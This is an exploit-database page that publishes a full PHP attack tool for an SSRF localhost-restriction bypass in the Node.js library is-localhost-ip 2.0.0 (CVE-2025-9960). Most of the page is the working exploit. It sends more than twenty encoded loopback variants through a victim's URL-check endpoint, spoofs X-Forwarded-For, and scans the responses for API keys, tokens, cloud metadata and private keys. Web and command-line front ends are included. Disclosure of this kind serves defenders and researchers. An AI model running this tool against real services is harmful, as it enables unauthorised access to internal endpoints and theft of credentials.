PACKETSTORM 6.9 MEDIUM

📄 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666

December 10, 2025 invoker category_exploit
6.9 / 10
MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/SC:N/VI:L/SI:N/VA:N/SA:N

Description

is-localhost-ip version 2.0.0 suffers from a restriction bypass vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:212666
Published Dec 10, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : is-localhost-ip 2.0.0 Restriction Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/tinovyatkin/is-localhost-ip |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211369/ & CVE-2025-9960

[+] Summary : is-localhost-ip (v2.0.0) is a compact, dependency‑free JavaScript library (~100 LOC) designed to determine whether a given hostname or IPv4/IPv6 address refers to the local machine
The vulnerability does not affect the browser or the operating system.
It affects the application layer, specifically Node.js applications that rely on the is-localhost-ip library for SSRF protection.

Any Node.js (commonly Express.js) service that imports and uses:

const isLocalhost = require("is-localhost-ip");

to block loopback access can be bypassed due to incomplete IPv6‑mapped address handling.

So the impacted target is:

Node.js application (e.g., Express server) using is-localhost-ip v2.0.0

Not:

❌ Browser
❌ Operating system

But:

✔ Node.js application using the library

[+] POC : * Usage: php exploit.php --target=http://victim.com:3005

<?php
/**
* SSRF Exploit for is-localhost-ip 2.0.0
* Author: indoushka
*/

class SSRFExploit {
private $target;
private $internalEndpoint;
private $timeout = 10;

// جميع متغيرات localhost المحتملة
private $localhostVariants = [
// IPv4 standard
'127.0.0.1',
'127.0.0.01',
'127.000.000.001',

// Hexadecimal
'0x7f000001',

// Decimal
'2130706433',

// Octal
'0177.0.0.01',
'0177.000.000.001',

// IPv6
'[::1]',
'[::ffff:127.0.0.1]',
'[::ffff:7f00:1]',
'[0:0:0:0:0:ffff:7f00:1]',

// Shortened forms
'127.1',
'127.0.1',

// DNS
'localhost',
'local',
'loopback',
'ip6-localhost',

// Word variations
'localtest.me',
'localtest',
'127.0.0.1.nip.io',
'127-0-0-1.nip.io',
];

public function __construct($target, $internalEndpoint = '/secret') {
$this->target = rtrim($target, '/');
$this->internalEndpoint = $internalEndpoint;
}

/**
* اختبار جميع المتغيرات
*/
public function testAllVariants() {
echo " Starting SSRF Exploit against: {$this->target}\n";
echo " Testing localhost bypass variants...\n";
echo str_repeat("=", 80) . "\n";

$results = [];
$successCount = 0;

foreach ($this->localhostVariants as $variant) {
$result = $this->testVariant($variant);
$results[] = $result;

if ($result['success']) {
$successCount++;
echo " SUCCESS: {$variant}\n";
echo " Response: " . substr($result['response'], 0, 200) . "...\n";
echo " Full URL: {$result['url']}\n";
echo str_repeat("-", 80) . "\n";
} else {
echo " FAILED: {$variant}\n";
echo " Reason: {$result['error']}\n";
echo str_repeat("-", 80) . "\n";
}

// تأخير قصير لتجنب الحظر
usleep(500000); // 0.5 ثانية
}

// عرض النتائج
$this->showResults($results, $successCount);

// حفظ النتائج في ملف
$this->saveResults($results);

return $results;
}

/**
* اختبار متغير معين
*/
private function testVariant($variant) {
$port = 3005; // المنفذ الافتراضي
$testUrl = "http://{$variant}:{$port}{$this->internalEndpoint}";
$encodedUrl = urlencode($testUrl);
$attackUrl = "{$this->target}/check-url?url={$encodedUrl}";

try {
$ch = curl_init();

curl_setopt_array($ch, [
CURLOPT_URL => $attackUrl,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (SSRF-Test)',
CURLOPT_HTTPHEADER => [
'Accept: application/json,text/html',
'X-Forwarded-For: 127.0.0.1',
],
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
return [
'variant' => $variant,
'success' => false,
'error' => "CURL Error: {$error}",
'url' => $attackUrl,
'http_code' => 0,
'response' => ''
];
}

if ($httpCode === 403) {
return [
'variant' => $variant,
'success' => false,
'error' => "Blocked (403 Forbidden)",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response
];
}

if ($httpCode === 200) {
// تحقق إذا كان الرد يحتوي على بيانات حساسة
$isSensitive = $this->checkSensitiveData($response);

return [
'variant' => $variant,
'success' => $isSensitive,
'error' => $isSensitive ? "" : "200 OK but no sensitive data",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response,
'sensitive' => $isSensitive
];
}

return [
'variant' => $variant,
'success' => false,
'error' => "HTTP {$httpCode}",
'url' => $attackUrl,
'http_code' => $httpCode,
'response' => $response
];

} catch (Exception $e) {
return [
'variant' => $variant,
'success' => false,
'error' => "Exception: " . $e->getMessage(),
'url' => $attackUrl,
'http_code' => 0,
'response' => ''
];
}
}

/**
* التحقق من وجود بيانات حساسة في الرد
*/
private function checkSensitiveData($response) {
$sensitivePatterns = [
'/apikey/i',
'/secret/i',
'/token/i',
'/password/i',
'/key/i',
'/private/i',
'/aws/i',
'/azure/i',
'/gcp/i',
'/metadata/i',
'/admin/i',
'/credential/i',
'/jwt/i',
'/bearer/i',
'/ssh/i',
'/rsa/i',
'/BEGIN.*PRIVATE.*KEY/i',
];

foreach ($sensitivePatterns as $pattern) {
if (preg_match($pattern, $response)) {
return true;
}
}

// تحقق من JSON يحتوي على مفاتيح حساسة
if ($this->isJson($response)) {
$data = json_decode($response, true);
if (is_array($data)) {
$sensitiveKeys = ['apikey', 'secret', 'token', 'password', 'key'];
foreach ($sensitiveKeys as $key) {
if (isset($data[$key])) {
return true;
}
}
}
}

return false;
}

/**
* التحقق إذا كان النص JSON
*/
private function isJson($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}

/**
* عرض النتائج النهائية
*/
private function showResults($results, $successCount) {
echo "\n" . str_repeat("=", 80) . "\n";
echo " EXPLOIT RESULTS SUMMARY\n";
echo str_repeat("=", 80) . "\n";
echo "Target: {$this->target}\n";
echo "Total Variants Tested: " . count($results) . "\n";
echo "Successful Bypasses: {$successCount}\n";
echo "Blocked/Failed: " . (count($results) - $successCount) . "\n";
echo str_repeat("-", 80) . "\n";

if ($successCount > 0) {
echo " VULNERABILITY CONFIRMED!\n";
echo " SSRF Bypass Successful\n\n";

echo "Successful Variants:\n";
foreach ($results as $result) {
if ($result['success']) {
echo " • {$result['variant']}\n";
echo " URL: {$result['url']}\n";
echo " Response Preview: " . substr($result['response'], 0, 100) . "...\n\n";
}
}
} else {
echo " Target appears to be protected\n";
echo " No successful bypasses found\n";
}
}

/**
* حفظ النتائج في ملف
*/
private function saveResults($results) {
$filename = 'ssrf_results_' . date('Y-m-d_H-i-s') . '.txt';
$content = "SSRF Exploit Results\n";
$content .= "Target: {$this->target}\n";
$content .= "Time: " . date('Y-m-d H:i:s') . "\n\n";

foreach ($results as $result) {
$content .= str_repeat("-", 60) . "\n";
$content .= "Variant: {$result['variant']}\n";
$content .= "Success: " . ($result['success'] ? 'YES' : 'NO') . "\n";
$content .= "HTTP Code: {$result['http_code']}\n";
$content .= "Error: {$result['error']}\n";
$content .= "URL: {$result['url']}\n";
$content .= "Response:\n{$result['response']}\n\n";
}

file_put_contents($filename, $content);
echo "📄 Results saved to: {$filename}\n";
}

/**
* هجوم متقدم باستخدام IP المدخل من المستخدم
*/
public function customAttack($customIp, $port = 3005, $endpoint = '/secret') {
echo " Custom Attack with IP: {$customIp}\n";

$variants = [
$customIp,
$this->decimalToIp($customIp),
$this->ipToHex($customIp),
$this->ipToOctal($customIp),
"[::ffff:" . $this->ipv4ToHex($customIp) . "]",
];

foreach ($variants as $variant) {
echo "\nTesting variant: {$variant}\n";
$result = $this->testVariant($variant);

if ($result['success']) {
echo " SUCCESS!\n";
echo "Response: " . substr($result['response'], 0, 200) . "\n";
return $result;
}
}

echo " All variants failed\n";
return false;
}

/**
* تحويل IP إلى تمثيل عشري
*/
private function ipToDecimal($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

return ($parts[0] * 16777216) +
($parts[1] * 65536) +
($parts[2] * 256) +
$parts[3];
}

/**
* تحويل IP إلى سداسي عشري
*/
private function ipToHex($ip) {
$decimal = $this->ipToDecimal($ip);
return '0x' . dechex($decimal);
}

/**
* تحويل IP إلى ثماني
*/
private function ipToOctal($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

$octalParts = array_map(function($part) {
return '0' . decoct($part);
}, $parts);

return implode('.', $octalParts);
}

/**
* تحويل عشري إلى IP
*/
private function decimalToIp($decimal) {
return long2ip($decimal);
}

/**
* تحويل IPv4 إلى سداسي عشري لـ IPv6
*/
private function ipv4ToHex($ip) {
$parts = explode('.', $ip);
if (count($parts) !== 4) return $ip;

$hexParts = array_map(function($part) {
return str_pad(dechex($part), 2, '0', STR_PAD_LEFT);
}, $parts);

return implode('', $hexParts);
}
}

/**
* دالة CLI للمساعدة
*/
function showHelp() {
echo "SSRF Exploit Tool for is-localhost-ip 2.0.0\n";
echo "Usage:\n";
echo " php exploit.php --target=http://victim.com:3005\n";
echo " php exploit.php --target=http://victim.com:3005 --custom=127.0.0.1\n";
echo " php exploit.php --target=http://victim.com:3005 --endpoint=/admin\n";
echo " php exploit.php --help\n\n";
echo "Options:\n";
echo " --target Target URL (required)\n";
echo " --custom Custom IP to test\n";
echo " --endpoint Internal endpoint to access (default: /secret)\n";
echo " --port Port number (default: 3005)\n";
echo " --help Show this help\n";
}

/**
* المعالجة من سطر الأوامر
*/
if (PHP_SAPI === 'cli') {
$options = getopt('', ['target:', 'custom:', 'endpoint:', 'port:', 'help']);

if (isset($options['help']) || !isset($options['target'])) {
showHelp();
exit();
}

$target = $options['target'];
$endpoint = $options['endpoint'] ?? '/secret';
$port = $options['port'] ?? 3005;

$exploit = new SSRFExploit($target, $endpoint);

if (isset($options['custom'])) {
// هجوم مخصص
$customIp = $options['custom'];
$exploit->customAttack($customIp, $port, $endpoint);
} else {
// اختبار جميع المتغيرات
$exploit->testAllVariants();
}
} else {
// واجهة ويب بسيطة
?>
<!DOCTYPE html>
<html>
<head>
<title>SSRF Exploit Tester</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] { width: 100%; padding: 8px; border: 1px solid #ddd; }
button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }
.result { margin-top: 20px; padding: 15px; background: #f8f9fa; border-left: 4px solid #007bff; }
.success { border-color: #28a745; background: #d4edda; }
.error { border-color: #dc3545; background: #f8d7da; }
</style>
</head>
<body>
<div class="container">
<h1> SSRF Exploit Tester</h1>
<p>Test for CVE-2025-9960 (is-localhost-ip bypass)</p>

<form method="POST">
<div class="form-group">
<label for="target">Target URL:</label>
<input type="text" id="target" name="target"
placeholder="http://victim.com:3005" required>
</div>

<div class="form-group">
<label for="endpoint">Internal Endpoint:</label>
<input type="text" id="endpoint" name="endpoint"
value="/secret" placeholder="/admin, /internal, etc.">
</div>

<div class="form-group">
<label for="custom">Custom IP (optional):</label>
<input type="text" id="custom" name="custom"
placeholder="127.0.0.1, 192.168.1.1, etc.">
</div>

<button type="submit" name="test">Test SSRF</button>
<button type="submit" name="quick">Quick Test</button>
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target = $_POST['target'] ?? '';
$endpoint = $_POST['endpoint'] ?? '/secret';
$customIp = $_POST['custom'] ?? '';

if (!empty($target)) {
$exploit = new SSRFExploit($target, $endpoint);

echo '<div class="result">';
echo '<h3>Test Results:</h3>';

if (isset($_POST['quick'])) {
// اختبار سريع
echo '<p>Performing quick test...</p>';
$quickVariants = ['127.0.0.1', '0x7f000001', '2130706433', '[::ffff:7f00:1]'];

foreach ($quickVariants as $variant) {
$result = $exploit->testVariant($variant);
echo $result['success']
? "<p class='success'> {$variant}: SUCCESS</p>"
: "<p class='error'> {$variant}: FAILED</p>";
}
} else {
// اختبار كامل
$results = $exploit->testAllVariants();
}

echo '</div>';
}
}
?>

<div class="result">
<h4> About This Exploit:</h4>
<p>This tool demonstrates SSRF bypass in is-localhost-ip v2.0.0</p>
<p><strong>CVE:</strong> CVE-2025-9960</p>
<p><strong>Vulnerability:</strong> Server-Side Request Forgery via localhost restriction bypass</p>
<p><strong>Test Variants:</strong> 20+ localhost representations</p>
<p><strong>Use Responsibly:</strong> Only test on systems you own or have permission to test</p>
</div>
</div>
</body>
</html>
<?php
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.